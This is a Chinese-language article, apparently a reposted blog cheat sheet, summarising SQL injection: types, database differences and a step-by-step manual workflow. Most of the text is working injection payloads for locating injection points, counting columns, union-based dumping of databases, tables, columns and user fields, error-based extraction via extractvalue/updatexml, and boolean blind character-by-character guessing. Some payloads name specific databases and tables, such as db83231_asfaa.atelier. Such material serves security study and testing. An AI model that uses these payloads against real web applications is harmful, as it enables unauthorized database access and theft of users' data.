这可能是最全的SQL注入总结,很有用

SQL注入原理当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入 。
攻击者通过构造不同的sql语句来实现对数据库的任意操作 。
SQL注入的分类按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、MySQL、mssql、access、sqlite、postgersqlnosql:mongodb、redis
 MySQL与MSSQL及ACCESS之间的区别1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
判断三种数据库的语句

  • MySQL:and length(user())>10
  • ACCESS:and (select count(*)from MSysAccessObjects)>0
  • MSSQL:and (select count(*)from sysobjects)>0
 基本手工注入流程1.判断注入点
  • 数字型:id=2-1
  • 字符型:' 、')、 '))、 "、 ")、 "))
  • 注释符:-- (这是--空格)、--+、/**/、#

这可能是最全的SQL注入总结,很有用

文章插图
 
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数
  • order by 1
  • order by 50
group by 译为分组,注入时也可使用,不过我没用过
3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3查询字段内容
如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3报错注入通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));POST中的报错注入
这可能是最全的SQL注入总结,很有用

文章插图
 
 布尔盲注我在盲注中常用的函数:
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid('hello',1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
4.count()计算查询结果的行数;
5.concat()查询结果合并但保持原有行数;
6.group_concat()查询结果合并但都放在一行中;
7.ascii() 查询ascii码;
猜数据库长度(利用二分法);
  • id=1 and (length(database()))>1
  • id=1 and (length(database()))>50
猜第一个字符,第二个字符,以此类推
  • and ascii(mid(database(),1,1))>1
  • and ascii(mid(database(),2,1))>1
查询当前数据库中所有表名;
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10查询第一个表的长度;
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10查询表的第一个字符;
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1查询atelier表里有几个字段;
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2查询第一个字段长度;
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1查询字段第一个字符;
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105查询字段所有行数;
and (select count(*) from db83231_asfaa.atelier)>4查询字段名的行数(查询emails表,uname字段);
and (select count(uname)from security.emails)>7 查询uname的行数


推荐阅读